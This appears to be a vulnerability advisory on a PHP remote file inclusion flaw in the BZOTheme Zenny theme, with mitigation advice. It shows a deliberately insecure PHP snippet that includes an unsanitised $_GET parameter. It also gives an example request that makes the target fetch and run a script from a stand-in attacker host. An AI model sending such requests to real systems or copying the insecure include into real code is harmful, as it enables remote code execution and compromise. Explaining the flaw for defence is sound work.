How the Exploit Works
The PHP Remote File Inclusion vulnerability in BZOTheme Zenny exists due to improper control of filename for Include/Require Statement in PHP Program. An attacker can manipulate the file path specified in the “include” or “require” statements to reference a remote file, which is then executed in the context of the application. This can lead to unauthorized code execution, potentially compromising the system, or allowing data leakage.
Conceptual Example Code
A conceptual example of how this vulnerability might be exploited could be a PHP script that uses a variable from a user-supplied input to form a path for the “include” statement. If the input is not properly sanitized, an attacker could provide a path to a malicious script hosted on a remote server.
<?php
// The input is taken from the user without any sanitization
$file = $_GET['file'];
// The input is used directly in the include statement
include($file);
?>In this example, an attacker could send a request like `http://target.example.com/vulnerable.php?file=http://attacker.com/malicious.php`, leading to execution of the malicious script on the target server.
Mitigation
Users of affected versions of BZOTheme Zenny are advised to apply the vendor patch to mitigate this vulnerability. If a patch is not available, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary mitigation. However, these are not long-term solutions and updating the software remains the most effective course of action.
